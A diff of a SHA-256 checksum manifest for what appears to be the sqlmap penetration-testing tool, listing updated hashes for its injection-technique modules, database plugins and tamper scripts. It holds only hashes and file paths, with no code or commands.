+5bbef46c16e34fd80e3f9f0e9aa255ce2e39be0d0e57479e25890b041c7efc7d  lib/techniques/error/use.py
+1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3  lib/techniques/graphql/__init__.py
+c3e5cf7e5e35ae5fd86b63a515b37e6f06e61c70d2690252f2ee8373aa16637e  lib/techniques/graphql/inject.py
 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3  lib/techniques/__init__.py
+1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3  lib/techniques/ldap/__init__.py
+039d64a610b0e92e953fa6eaa740e7c2867e34e12b82e0113204e8f6100dc368  lib/techniques/ldap/inject.py
+44401cad3e39ae9fb899ed5d0e2fdd0879561de05c3117f17f3b0db54f4e3724  lib/techniques/nosql/__init__.py
+bde75d41ac3e5747b96d2af4c33922573158cb43b48714a28490d6720dd85d89  lib/techniques/nosql/inject.py
+1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3  lib/techniques/ssti/__init__.py
+14637b64878248e5965887b07aa68e62615dac88e2ffc6c3a581430bdd4e309e  lib/techniques/ssti/inject.py
 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3  lib/techniques/union/__init__.py
-30cae858e2a5a75b40854399f65ad074e6bb808d56d5ee66b94d4002dc6e101b  lib/techniques/union/test.py
-a8a795f29ec6fd66482926f04b054ed492a033982c3b7837c5d2ea32368acec0  lib/techniques/union/use.py
-67dff80a17503b91c8ff93788ccc037b6695aa18b0793894b42488cbb21c4c83  lib/utils/api.py
-ea5e14f8c9d74b0fb17026b14e3fb70ee90e4046e51ab2c16652d86b3ca9b949  lib/utils/brute.py
+ceec65f8cb7c3254c4671351c837418c76ac5bc55ccbc40779f67231b54d7085  lib/techniques/union/test.py
+c65766f71e285fc85cdf58e7448c4c1d015af2a9dbb44fa3b665a9f13362fbcc  lib/techniques/union/use.py
+1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3  lib/techniques/xpath/__init__.py
+c61816c9dba9f6cc2223aed1a923f95130979e5f0a88ec254ee667d955ed2734  lib/techniques/xpath/inject.py
+aeefb42ea0c68f72744bc1bfd7194ec1bc06480d8a7e23f4b8d3d23fbba2b014  lib/utils/api.py
+442555ab85277aff7c9e0cf465ea5b0d28395c326f68363449b2d3941f4b6de2  lib/utils/brute.py
 da5bcbcda3f667582adf5db8c1b5d511b469ac61b55d387cec66de35720ed718  lib/utils/crawler.py
 a94958be0ec3e9d28d8171813a6a90655a9ad7e6aa33c661e8d8ebbfcf208dbb  lib/utils/deps.py
+b0d8ae8513c1f5ffcaa4bf0398790f26bc2180a6acf07bf5b2c86555bf9113f6  lib/utils/dialect.py
 51cfab194cd5b6b24d62706fb79db86c852b9e593f4c55c15b35f175e70c9d75  lib/utils/getch.py
-853c3595e1d2efc54b8bfb6ab12c55d1efc1603be266978e3a7d96d553d91a52  lib/utils/gui.py
-366e6fd5356fae7e3f2467c070d064b6695be80b50f1530ea3c01e86569b58b2  lib/utils/har.py
-e890d2ee4787589b2464d9c561d10a6896546781c349b48bfe4d42dd3954468b  lib/utils/hashdb.py
-84bf572a9e7915e91dbffea996e1a7b749392725f1ad7f412d0ff48c636a2896  lib/utils/hash.py
+3c4ad819589fe4fca303706dc87969273a07a04dee85e23f064b39caf1fb80e9  lib/utils/gui.py
+972c5db9c9e30ac0f91c0f8d4df4531d0304e151dac99f1399c37c952ba9f935  lib/utils/har.py
+0cd3860c03e39bacd1d0fe4cf1a0c605de48ff82f70441319f21d47e38e7e3a9  lib/utils/hashdb.py
+71a66ff766a2921106770b26acff380de469222dc893816a7b970b384c927666  lib/utils/hash.py
 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3  lib/utils/__init__.py
-22ba65391b0a73b1925e5becf8ddab6ba73a196d86e351a2263509aad6676bd7  lib/utils/pivotdumptable.py
+1bbf57e43f921d4132e6e5a336ff39454a9506b36de94ebcc45879d0abcac56a  lib/utils/keysetdump.py
+04b28ad98340a589eb9b21d014c435e8193c2bea3a21af9875b6f23c9b270f1f  lib/utils/pivotdumptable.py
 c1dfc3bed0fed9b181f612d1d747955dd2b506dbe99bc9fd481495602371473a  lib/utils/progress.py
-27afe211030d06db28df85296bfbf698296c94440904c390cef0ff0c259dbbc5  lib/utils/purge.py
-c853aa08ab24a00a78969408d60684da0ccb33a2a6693492e0acb7c480ffbcd1  lib/utils/safe2bin.py
-2ee72e83500a1bf02fcd942564fca0053a0c46f736286f0c35dd6904e09f4734  lib/utils/search.py
+c442e9ef8324fd6fdf7bc334d765f0a6ce4037397eb3d79d59b5ce3e9a043855  lib/utils/prove.py
+2cd84db16edef8c9948e197a51d870cf1c338f4a89037b4d422de990f4a45237  lib/utils/purge.py
+e6d8e812c380647590a175528e75c2835fc75dd12f989ef1cceb5c12a5815bd8  lib/utils/safe2bin.py
+f8b9a876a19543ecb215956f525be6f59109716d0c301b57aa85d57cd2194a21  lib/utils/search.py
 8258d0f54ad94e6101934971af4e55d5540f217c40ddcc594e2fba837b856d35  lib/utils/sgmllib.py
-b08373d647f337722983221d9051d8da253bf02e3f084aba8aee642ace8d02a6  lib/utils/sqlalchemy.py
+2760c4b82382e501f16bb98edec9531f46e5b286fbf004b346545b9b62f84824  lib/utils/sqlalchemy.py
 f0e5525a92fe971defc8f74c27942ff9138b1e8251f2e0d9a8bd59285b656084  lib/utils/timeout.py
-f821dc39a75ea48dccfa758788de15d38b9ca6a780a98f59935fb6610f75508c  lib/utils/tui.py
+f28693d5d2783f3d5069b1df3d12e01730ce783f4a40ef31656ef2c879d2f027  lib/utils/tui.py
 e430db49aa768ff2cdba76932e30871c366054599c44d91580dde459ab9b6fef  lib/utils/versioncheck.py
-b6cd3059c369bbcb162cfd797596849f9f95078c3b2e91fecee36d3ea1001fc2  lib/utils/xrange.py
+c9618a9f5300f85f2078cdd71c6bee6b45a61a404834c17b07b0e0eb4709586a  lib/utils/wafbypass.py
+1b439fc59fd202c21c74978ed9f36d1c309533226c77907eae159461525f9fef  lib/utils/xrange.py
 b1bbb62f5b272a6247d442d5e4f644a5bca7138e70776539ec84a5a90433fd13  LICENSE
 6b1828a80ae3472f1adb53a540dee0835eccac14f8cfc4bf73962c4e49a49557  plugins/dbms/access/connector.py
 c18939660aebb5ce323b4c78a46a2b119869ba8d0b44c853924118936ce5b0ac  plugins/dbms/access/enumeration.py
@@ -277,7 +293,7 @@ c07f786b06dc694fa6e300f69b3e838dc9c917cf8120306f1c23e834193d3694  plugins/dbms/a
 b55d9c944cf390cd496bd5e302aa5815c9c327d5bb400dc9426107c91a40846d  plugins/dbms/altibase/__init__.py
 859cc5b9be496fe35f2782743f8e573ff9d823de7e99b0d32dbc250c361c653e  plugins/dbms/altibase/syntax.py
 2c3bb750d3c1fb1547ec59eb392d66df37735bd74cca4d2c745141ea577cce1e  plugins/dbms/altibase/takeover.py
-c03bf2d0584327f83956209f4f4697661b908b32b6fe5a1f9f2e06560870b084  plugins/dbms/cache/connector.py
+584e1ecd6ab812b52a0e959d1e061895411109f145fb81faf435a2c568f91c53  plugins/dbms/cache/connector.py
 49b591c1b1dc7927f59924447ad8ec5cb9d97a74ad4b34b43051253876c27cdc  plugins/dbms/cache/enumeration.py
 672dc9b3d291aa4f5d6c4cbe364e92b92e19ee6de86f6d9b9a4dda7d5611b409  plugins/dbms/cache/filesystem.py
 ef270e87f7fc2556f900c156a4886f995a185ff920df9d2cd954db54ee1f0b77  plugins/dbms/cache/fingerprint.py
@@ -326,7 +342,7 @@ c11430510e18ff1eec0d6e29fc308e540bbd7e925c60af4cd19930a726c56b74  plugins/dbms/e
 7d2dc7c31c60dc631f2c49d478a4ddeb6b8e08b93ad5257d5b0df4b9a57ed807  plugins/dbms/extremedb/__init__.py
 4878e83ef8e33915412f2fac17d92f1b1f6f18b47d31500cd93e59d68f8b5752  plugins/dbms/extremedb/syntax.py
 e05577e2e85be5e0d9060062511accbb7b113dfbafa30c80a0f539c9e4593c9f  plugins/dbms/extremedb/takeover.py
-5a5ab2661aea9e75795836f0e2f3143453dfcc57fa9b42a999349055e472d6ea  plugins/dbms/firebird/connector.py
+368cac0cb766e0a4b4850f41c3c2049244d832f9f75218270b526a3785e94ee7  plugins/dbms/firebird/connector.py
 813ccc7b1b78a78079389a37cc67aa91659aa45b5ddd7b124a922556cdafc461  plugins/dbms/firebird/enumeration.py
 5becd41639bb2e12abeda33a950d777137b0794161056fb7626e5e07ab80461f  plugins/dbms/firebird/filesystem.py
 f560172d8306ca135de82cf1cd22a20014ce95da8b33a28d698dd1dcd3dad4b0  plugins/dbms/firebird/fingerprint.py
@@ -347,9 +363,9 @@ c14d73712d9d6fcfa6b580d72075d51901c472bdd7e1bc956973363ad1fca4d8  plugins/dbms/h
 742d4a29f8875c8dabe58523b5e3b27c66e29a964342ec6acd19a71714b46bb1  plugins/dbms/h2/__init__.py
 1df5c5d522b381ef48174cfc5c9e1149194e15c80b9d517e3ed61d60b1a46740  plugins/dbms/h2/syntax.py
 c994c855cf0d30cf0fa559a1d9afc22c3e31a14ba2634f11a1a393c7f6ec4b95  plugins/dbms/h2/takeover.py
-eedf40aa079cfaae5616b213ff994f796b726fcfb99c567db51cdf2cd75aacc7  plugins/dbms/hsqldb/connector.py
+cda313311ae5041eb8129db7cff8f9d9d42296313929cf72938e962d6ec46466  plugins/dbms/hsqldb/connector.py
 03c8dd263a4d175f3b55e9cbcaa2823862abf858bab5363771792d8fd49d77a1  plugins/dbms/hsqldb/enumeration.py
-2e64d477331cb7da88757d081abf2885d025b51874f6b16bde83d82f1430bc35  plugins/dbms/hsqldb/filesystem.py
+efce2b895a68cfeb78bd59803d8d4b543c478b090a57a1edd11bcaa67d125368  plugins/dbms/hsqldb/filesystem.py
 b5b86da64fc24453a3354523a786a2047b99cd200eae7015eef180655be5cff5  plugins/dbms/hsqldb/fingerprint.py
 321a8efe7b65cbdf69ff4a8c1509bd97ed5f0edd335a3742e3d19bca2813e24a  plugins/dbms/hsqldb/__init__.py
 1df5c5d522b381ef48174cfc5c9e1149194e15c80b9d517e3ed61d60b1a46740  plugins/dbms/hsqldb/syntax.py
@@ -363,7 +379,7 @@ d4a7721fa80465ac30679ba79e7a448aa94b2efa1dbf4119766bc7084d7e87e4  plugins/dbms/i
 1ce793ee91c4de6eb7839adc379652d55ef54f162a9a030b948c54d55dc93c14  plugins/dbms/informix/takeover.py
 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3  plugins/dbms/__init__.py
 3869c8a1d6ddd4dbfe432217bb269398ecd658aaa7af87432e8fa3d4d4294bbc  plugins/dbms/maxdb/connector.py
-3d0fef588c8972fc1aeab0c58d800cd128b557a48d8666c36c5b6dbc9617d19d  plugins/dbms/maxdb/enumeration.py
+fee0735986508dbbe2524d8c758694cea0d9b258547ee2a940ea139b0f6210b4  plugins/dbms/maxdb/enumeration.py
 e67ecd7a1faf1ef9e263c387526f4cdeefd58e07532750b4ebffccc852fab4d2  plugins/dbms/maxdb/filesystem.py
 78d04c8a298f9525c9f0f392fa542c86d5629b0e35dd9383960a238ee937fb93  plugins/dbms/maxdb/fingerprint.py
 10db7520bc988344e10fe1621aa79796d7e262c53da2896a6b46fcf9ee6f5ba4  plugins/dbms/maxdb/__init__.py
@@ -386,42 +402,42 @@ e9ef99b83542121ac4489526ecb90def4bba9ec62a0dd990bb39d7db387c5ff6  plugins/dbms/m
 8a9d30546e3e96295b59bb5e53b352d039f785e0fa8ae19b2073083f1555f45b  plugins/dbms/monetdb/connector.py
 ba04af3683b9a6e29e8fa6b3bf436a57e59435cebb042414f2df82018d91599e  plugins/dbms/monetdb/enumeration.py
 672dc9b3d291aa4f5d6c4cbe364e92b92e19ee6de86f6d9b9a4dda7d5611b409  plugins/dbms/monetdb/filesystem.py
-5fd3a9eb6210c32395e025e327bfeb24fd18f0cc7da554be526c7f2ae9af3f7d  plugins/dbms/monetdb/fingerprint.py
+7188530754349b765b9842ad8f416766fd7035f131ad6444156ae0de45efc8fe  plugins/dbms/monetdb/fingerprint.py
 05dc581f0fbed20030200e5c7bd45a971ad4e910c6502ad02cc6c26fd5937003  plugins/dbms/monetdb/__init__.py
 78f1ff4b82fd4af50e1fbdb81539862f1c31258cda212b39f4a8501960f1b95e  plugins/dbms/monetdb/syntax.py
 236fd244f0bbc3976b389429a8176feda6c243267564c2a0eff6fc2458c1b3f9  plugins/dbms/monetdb/takeover.py
 6bdc774463ac87b1bd1b6a9d5c2346b7edbf40d9848b7870a30d1eaedde4fc51  plugins/dbms/mssqlserver/connector.py
-52c19e9067f22f5c386206943d1807af4c661500bf260930a5986e9a180e96c7  plugins/dbms/mssqlserver/enumeration.py
-838ed364ce46ae37fb5b02f47d2767f7d49595f81caf4bc51c1e25fd18e4aa65  plugins/dbms/mssqlserver/filesystem.py
+69ba678efde8335efb8a167b63143b4fb65ea19802bc3ade30c87cb979c198e4  plugins/dbms/mssqlserver/enumeration.py
+67cd70b64aed27af467682ceae8e20992b6765d2374d5762efb5a4585b8a6f79  plugins/dbms/mssqlserver/filesystem.py
 38ade085f9f1b227eda8c89f78e3ce869e8f430c98bef0cc7cbd2c7dcd60c24e  plugins/dbms/mssqlserver/fingerprint.py
 1ecde09e80d7b709a710281f4983a6831bc02ca3458ae0b97b28446d6db241b4  plugins/dbms/mssqlserver/__init__.py
 a89074020253365b6c95a4fa53e41fb0dc16f26a209b31f28e65910f26b81d21  plugins/dbms/mssqlserver/syntax.py
-57f263084438e9b2ec2e62909fc51871e9eefb1a9156bbe87908592c5274b639  plugins/dbms/mssqlserver/takeover.py
+099f17ba54181e0dc4da721db6a2ef52f6b8e57adeaf69248500754f4ecf398d  plugins/dbms/mssqlserver/takeover.py
 275ffb2a63c179a5b1673866fcd4020d7f30a68e6d7736e7e21094e2a3234578  plugins/dbms/mysql/connector.py
 51590c30177adf8c435e4d6d4be070f6708d81793f70577d9317daa4ef2485ba  plugins/dbms/mysql/enumeration.py
-9523715aa823ecfc7a914afabf5fe3091583c93a23ccc270c61a78b007b7a652  plugins/dbms/mysql/filesystem.py
-b5708a7e3179896f0242f6188642d0f613371b2f621ad8ebb0a53c934dd36259  plugins/dbms/mysql/fingerprint.py
+5114ca85e5aac6eaebf2ca2cf6b944250329d2d5c36a36015ac34599c9437838  plugins/dbms/mysql/filesystem.py
+86a53d0ab8e569c04325f1011969b059582252278e97cfcdb0502548a5b38908  plugins/dbms/mysql/fingerprint.py
 e2289734859246e6c1a150d12914a711901d10140659beded7aa14f22d11bca3  plugins/dbms/mysql/__init__.py
 02a37c42e8a87496858fd6f9d77a5ab9375ea63a004c5393e3d02ca72bc55f19  plugins/dbms/mysql/syntax.py
 1e6a7c6cc77772a4051d88604774ba5cc9e06b1180f7dba9809d0739bc65cf37  plugins/dbms/mysql/takeover.py
 af1b89286e8d918e1d749db7cce87a1eae2b038c120fb799cc8ee766eb6b03e1  plugins/dbms/oracle/connector.py
 5965da4e8020291beb6f35a5e11a6477edb749bdeba668225aea57af9754a4b3  plugins/dbms/oracle/enumeration.py
-94132121cd085e314e9fe63d2ac174e0e26acd4ed17cdce46f93ab36c71967d9  plugins/dbms/oracle/filesystem.py
+b8812b1e1a7c68283de3dd264bbeef1fed91eaada720fcfe088f3a62fd9fc614  plugins/dbms/oracle/filesystem.py
 0b2dd004b9c9c41dbdd6e93f536f31a2a0b62c2815eb8099299cd692b0dd08a1  plugins/dbms/oracle/fingerprint.py
 fd0bfc194540bd83843e4b45f431ad7e9c8fd4a01959f15f2a5e30dcfa6acf60  plugins/dbms/oracle/__init__.py
 a5ec593a2e57d658e3448dd108781a3761484c41c0f67f6a3db59d9def57d71a  plugins/dbms/oracle/syntax.py
 a74fc203fbcc1c4a0656f40ed51274c53620be095e83b3933b5d2e23c6cea577  plugins/dbms/oracle/takeover.py
 cc55a6bb81c182fca0482acd77ff065c441944ed7a7ef28736e4dff35d9dce5b  plugins/dbms/postgresql/connector.py
 81a6554971126121465060fd671d361043383e2930102e753c1ad5a1bea0abf6  plugins/dbms/postgresql/enumeration.py
-cd6e7b03623f9cecd8151ddaac111072edb79e16588da8e7b3c37e9d233b290b  plugins/dbms/postgresql/filesystem.py
+dcb7c9737129ae5b1d054be767a4ed3851fc2a3e50fbd1ab884552ba9dce74fb  plugins/dbms/postgresql/filesystem.py
 56a3c0b692187aef120fedb639e10cecf02fbf46e9625d327a0cd4ae07c6724e  plugins/dbms/postgresql/fingerprint.py
 9c14f8ad202051f3f7b72147bae891abb9aa848a6645aa614a051314ac91891a  plugins/dbms/postgresql/__init__.py
 4fce63dd766a35b7273351df2de706c37a0392479578705853b4333c119f2270  plugins/dbms/postgresql/syntax.py
 d3cb1ebaf594b30cebddd16a8dcf6cf33a3536c3da4caf7e4b9d8c910288eb8d  plugins/dbms/postgresql/takeover.py
 9a63ef08407c1f4686679343e733bfc124d287ebadf747db5ecbc3abed694462  plugins/dbms/presto/connector.py
-23e2fb4fc9c6b84d7503986f311da9c3a9c6eb261433f80be1e854144ebb15b4  plugins/dbms/presto/enumeration.py
+1c966d62ce361cf681202be88d839a9bd2677b1444e6998778151ab27647199e  plugins/dbms/presto/enumeration.py
 874532c0a1a09e2c3d6ea5f4b9e12552ce18ae04a8d13a9f8e099071760f4a73  plugins/dbms/presto/filesystem.py
-acd58559efbce9f94683260c45619286b5bb015ff5dbf39b9e8c9b286f34fbe8  plugins/dbms/presto/fingerprint.py
+338fbc37ae85f293f07461127dd1465a3ad6bc6bedcdb025ffac35df8bfc8949  plugins/dbms/presto/fingerprint.py
 5c104b3ee2e86bf29a8f446d7779470b42d173e87b672c43257289b0d798d2b1  plugins/dbms/presto/__init__.py
 859cc5b9be496fe35f2782743f8e573ff9d823de7e99b0d32dbc250c361c653e  plugins/dbms/presto/syntax.py
 98e28b754352529381b5cffdc701a1c08158d7e7466764310627280d51f744ba  plugins/dbms/presto/takeover.py
@@ -439,6 +455,13 @@ b76606fe4dee18467bc0d19af1e6ab38c0b5593c6c0f2068a8d4c664d4bd71d8  plugins/dbms/r
 1de7c93b445deb0766c314066cb122535e9982408614b0ff952a97cbae9b813a  plugins/dbms/snowflake/__init__.py
 859cc5b9be496fe35f2782743f8e573ff9d823de7e99b0d32dbc250c361c653e  plugins/dbms/snowflake/syntax.py
 da43fed8bfa4a94aaceb63e760c69e9927c1640e45e457b8f03189be6604693f  plugins/dbms/snowflake/takeover.py
+0163ce14bfa49b7485ab430be1fa33366c9f516573a89d89120f812ffdbc0c83  plugins/dbms/spanner/connector.py
+cb2c802d695d0b3bdc0769a2f767e58351c73a900db2ddb8f89f863bd5546947  plugins/dbms/spanner/enumeration.py
+672dc9b3d291aa4f5d6c4cbe364e92b92e19ee6de86f6d9b9a4dda7d5611b409  plugins/dbms/spanner/filesystem.py
+30f4caea09eb300a8b16ff2609960d165d8a7fa0f3034c345fea24002fea2670  plugins/dbms/spanner/fingerprint.py
+7c46a84ece581b5284ffd604b54bacb38acc87ea7fbac31aae38e20eb4ead31a  plugins/dbms/spanner/__init__.py
+54a184528a74d7e1ff3131cbca2efa86bbf63c2b2623fb9a395bdb5d2db6cf5a  plugins/dbms/spanner/syntax.py
+949add058f3774fbed41a6a724985ac902abe03b0617ec99698e3a29292efa43  plugins/dbms/spanner/takeover.py
 cae01d387617e3986b9cfb23519b7c6a444e2d116f2dc774163abec0217f6ed6  plugins/dbms/sqlite/connector.py
 fbcff0468fcccd9f86277d205b33f14578b7550b33d31716fd10003f16122752  plugins/dbms/sqlite/enumeration.py
 013f6cf4d04edce3ee0ede73b6415a2774e58452a5365ab5f7a49c77650ba355  plugins/dbms/sqlite/filesystem.py
@@ -447,7 +470,7 @@ f5b28fe6ff99de3716e7e2cd2304784a4c49b1df7a292381dae0964fb9ef80f3  plugins/dbms/s
 351a9accf1af8f7d18680b71d9c591afbe2dec8643c774e2a3c67cc56474a409  plugins/dbms/sqlite/syntax.py
 e56033f9a9a1ef904a6cdbc0d71f02f93e8931a46fe050d465a87e38eb92df67  plugins/dbms/sqlite/takeover.py
 b801f9ed84dd26532a4719d1bf033dfde38ecaccbdea9e6f5fd6b3395b67430d  plugins/dbms/sybase/connector.py
-8173165097ac6720258cf8a5ccf97600d5aa94378182ad0e1ccaa4cfcfa0c038  plugins/dbms/sybase/enumeration.py
+397836e1d3cff87627f92633b4852bbbb143ca4306fe99ab577b25b7aa69c9cb  plugins/dbms/sybase/enumeration.py
 73b41e33381cd8b13c21959006ef1c6006540d00d53b3ccb1a7915578b860f23  plugins/dbms/sybase/filesystem.py
 49ec03fe92dab994ee7f75713144b71df48469dca9eb8f9654d54cdcb227ea2c  plugins/dbms/sybase/fingerprint.py
 0d234ddd3f66b5153feb422fc1d75937b432d96b5e5f8df2301ddcadf6c722b2  plugins/dbms/sybase/__init__.py
@@ -469,53 +492,55 @@ e2e20e4707abe9ed8b6208837332d2daa4eaca282f847412063f2484dcca8fbd  plugins/dbms/v
 2b2dad6ba1d344215cad11b629546eb9f259d7c996c202edf3de5ab22418787e  plugins/dbms/virtuoso/takeover.py
 51c44048e4b335b306f8ed1323fd78ad6935a8c0d6e9d6efe195a9a5a24e46dc  plugins/generic/connector.py
 a967f4ebd101c68a5dcc10ff18c882a8f44a5c3bf06613d951a739ecc3abb9b3  plugins/generic/custom.py
-c091caecc93c01e17fa5432101555cae824492c060b9b7ee35cb49a211365076  plugins/generic/databases.py
-4050f9dfa8a2f8dbe6ae75f91d71b3d1fa3a4b1bd28404c4a346d5a83ad512df  plugins/generic/entries.py
+6f77b5cae6781a746f8490fe3e85456e575165b38edd280a69c9327af8bee85f  plugins/generic/databases.py
+13086bfae6022edc2bbd35512fa3bda3402c269e9d6148ffe386ba5b8b4ba461  plugins/generic/entries.py
 d2de7fc135cf0db3eb4ac4a509c23ebec5250a5d8043face7f8c546a09f301b5  plugins/generic/enumeration.py
-a02ac4ebc1cc488a2aa5ae07e6d0c3d5064e99ded7fd529dfa073735692f11df  plugins/generic/filesystem.py
+8d5e3eacbd2a3cfec63fcf5bdcc8efc77656f29b11ca652c4ee60c72daea04ab  plugins/generic/filesystem.py
 efd7177218288f32881b69a7ba3d667dc9178f1009c06a3e1dd4f4a4ee6980db  plugins/generic/fingerprint.py
 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3  plugins/generic/__init__.py
 ba07e54265cf461aed678df49fe3550aec90cb6d8aa9387458bd4b7064670d00  plugins/generic/misc.py
 7c1b1f91925d00706529e88a763bc3dabafaf82d6dbc01b1f74aeef0533537a1  plugins/generic/search.py
 da8cc80a09683c89e8168a27427efecda9f35abc4a23d4facd6ffa7a837015c4  plugins/generic/syntax.py
-eb45fd711efa71ab9d91d815cc8abebc9abc4770311fbb827159008b000f4fc2  plugins/generic/takeover.py
-45bfd00f09557e20115e6ce7fb52ff507930d705db215e535f991e5fbf7464de  plugins/generic/users.py
+cedf45d33461bd7e5400d06611a63c8a4ffae1a4510030c5696b9d46ed6a9883  plugins/generic/takeover.py
+38becf127a8bb4a90befd4c7e12ef1ad8e21374c91c75bb640d73ab86cc1eeb9  plugins/generic/users.py
 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3  plugins/__init__.py
-423d9bfaddb3cf527d02ddda97e53c4853d664c51ef7be519e4f45b9e399bc30  README.md
-c6ad39bfd1810413402dedfc275fc805fa13f85fc490e236c1e725bde4e5100b  sqlmapapi.py
-4e993cfe2889bf0f86ad0abafd9a6a25849580284ea279b2115e99707e14bb97  sqlmapapi.yaml
+5d72f0af46ff3c9e3fe80300e83cb78749132278e8db88915764a94d7130a04c  README.md
+46517f1444c202710e388873960130850ed092e17bd6f4dd5f2fedea3dbb8ffc  sqlmapapi.py
+f09d1b06901e7e02d0dbf4de607f6a4a9889acc322ae9353b98ea9101fb9548a  sqlmapapi.yaml
 627d90f1194335b800cbc9cc78db6697cf9e02e193a83598e0d4d0abb55b63b8  sqlmap.conf
-4cec2aae8d65d67cd6db60f00217aa05ab449345ed3a38e04697b85b53d755f1  sqlmap.py
+41fa63d55909cf00a0bb02e979c4f2c0ad7df4b32a89374150772b247fa96fc2  sqlmap.py
 eb37a88357522fd7ad00d90cdc5da6b57442b4fec49366aadb2944c4fbf8b804  tamper/0eunion.py
 a9785a4c111d6fee2e6d26466ba5efb3b229c00520b26e8024b041553b53efba  tamper/apostrophemask.py
 cf26bc8006519bd25ce06d347f72770cd75b61575cf65e5812274e8ab9392eb4  tamper/apostrophenullencode.py
 0b9ed12565bf000c9daa2317e915f2325ccabee1fa5ed5552c0787733fbccffe  tamper/appendnullbyte.py
 11ad15d66c43f32f5d0a39052e5f623a4752ad4fb275d642f2e4cd841ff82b41  tamper/base64encode.py
-cb833979eccf26a5e176f7c8ca40a24bf9904cb2902a1b9df436aefb6a24447e  tamper/between.py
+1b55b7c59c623411c8cf328fff9e7de96a2dfc48ef4e5455325bfd41aebbbc13  tamper/between.py
 6e72b92662185a56847cca235106bc354bd6a10e3e89a135b9ea8fa09cd8eb34  tamper/binary.py
-9e1852d61d439181c42cb6d28656e9464a1dd5991269f000fb47e107f2f6f4f1  tamper/bluecoat.py
-578e36fcf7d596574119ef75cbf1a83040913587a02855f0b6a7e684f9f9c8a5  tamper/chardoubleencode.py
+3fb1a7f8a37d8a49fb88fa880e163ff75a2b224c4a7799abe29bec1a367d5273  tamper/blindbinary.py
+f833cfbb53e6849ed1b3b554ec1c973f85e6d41ebd62f94f8e0dcf0ba5da2f49  tamper/bluecoat.py
+69c7eb987dec666da227ee1024c31b89ad324a3f7cab287ada6dade7f51c8a36  tamper/chardoubleencode.py
 c7892bff56b2b85dfdf9f24c783c569edac57a3fd5a254cf4554987a374206c9  tamper/charencode.py
 72c163ff0b4f79bdec07fbea3e75a2eaa8304881d35287eab8f03c25d06e99e0  tamper/charunicodeencode.py
-50107854594fb13b4b95eed2ab8e66d2dd5470dd7d6b59c124ca766b1ec4b6ed  tamper/charunicodeescape.py
+249c938290c93df028a2b72762e6683be3ef6ea2bc334dd106af6d1a8048b97b  tamper/charunicodeescape.py
 d0d8f2df2c29d81315a867ecb6baa9ca430e8f98d04f4df3879f2bcd697fac16  tamper/commalesslimit.py
 1aee4e920b8ffa4a79b2ac9a42e2d7de13434970b3d1e0c6911c26bdd0c7b4e7  tamper/commalessmid.py
 ff8d05da2c5a123a231671c97ee80bb77b6631d7e5356d836cfe15ef212b73e5  tamper/commentbeforeparentheses.py
-66cad47087c78a5658445f8a00f2e1cd533a6d7c57aec2d1eb1fe486956aa3ea  tamper/concat2concatws.py
-b5a5ba94a78cf83b35cdb0b08d9d69dbf1f33c07cc5152c560ae5aee54a4c066  tamper/decentities.py
+27f74b1c007713f753e0278bc056b09cd715c364847977962d6a198ecefa14ff  tamper/concat2concatws.py
+4cc9f6d319fbf3b60de4b9a487f9630e95cfef0ebf7749b623526b91510668a5  tamper/decentities.py
 1d6bcc5ffe235840370cd9738b5e8067f8b24e8c0e2bb629d330a7e5c379328a  tamper/dunion.py
-99c59e6fd7cafc9238c53e037eff457823854eef7cb0c5ea05941e0223229209  tamper/equaltolike.py
-b3940e8d029150a81f17a2da1141928c31b6abb9ade3672d093051e310439995  tamper/equaltorlike.py
-d528e74ae7c9fc0cd45369046d835a8f1e6f9252eeef6d84d9978d7e329ab35f  tamper/escapequotes.py
+ab455ab2d7bf89e2d283799841556e2b87c53bd288aca88f2d9f1ea5b9c39cb8  tamper/equaltolike.py
+c686219f6e1b22be654792ead82c55947c11dc55901db6173fbc9821b6da625d  tamper/equaltorlike.py
+d06c4ba69f645fe60e786085c76fa163708938d105652a03d03f3e0407357205  tamper/escapequotes.py
 0694f202a4f57e0a5c4d5aa72eee121b6f344d4e03692d9e267e2212abed719c  tamper/greatest.py
-26e57bc7c118168f20a5fc80d2d2fdbef05c027328c5c55cbbe92047ee8123da  tamper/halfversionedmorekeywords.py
-f0a7b635061385a3bf399cc51faf4d5e10694266aaa21fba557ca655c00a09bc  tamper/hex2char.py
-9096cbf2283137d592408325347f46866fd139966c946f8ba1ea61826472d0bb  tamper/hexentities.py
-3e518ace6940d54e8844c83781756e85d5670c53dfac0a092c4ee36cd5111885  tamper/htmlencode.py
-04028ea55034ef5c82167db35cb1276d3d5c717f6b22507b791342ccf82722ad  tamper/if2case.py
-365085e79d296791464ec3f041a26554b19ba4865c4a727e258e9586b0bcfbe7  tamper/ifnull2casewhenisnull.py
-e73e3723d4b61515d7ad2c0fe6e9a9dcaeeac6a93ed6149f44d59e4e41543226  tamper/ifnull2ifisnull.py
+89c2606da517d063f5a898a33d5bfd8737eef837552fc1127cea512ab82d0ea5  tamper/halfversionedmorekeywords.py
+76475815dedf1b56a542abdbad3f50f26f9b402775b6d475ba3b8ce64dede022  tamper/hex2char.py
+731e7ab9996dbe701d5a4971540c92245d204c11bf00efcb905bb27f3269e97b  tamper/hexentities.py
+7324f520834d6072896df56802dca416ef66c175c339ed498708144bb51d193d  tamper/htmlencode.py
+d05dafb86e82807e75bb8f54dcd6afbb4a08ba3b83b35562fee7f7022a75dbd7  tamper/if2case.py
+55092820a856f583cf1b661001b60216886d172cb7d0008920bf4ab3df88aff0  tamper/ifnull2casewhenisnull.py
+eeda2b2fd54a4aa5fcf5630f8bfae43e0a38a840ae908e2f6b0878959067413c  tamper/ifnull2ifisnull.py
 94fe273bee7df27c9b4f1ee043779d06e4553169d9aec30c301d469275883dd1  tamper/informationschemacomment.py
+ff07320cb134520c3be99407b5c1e67528f944c6a12838ab583716622e877a95  tamper/infoschema2innodb.py
 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3  tamper/__init__.py
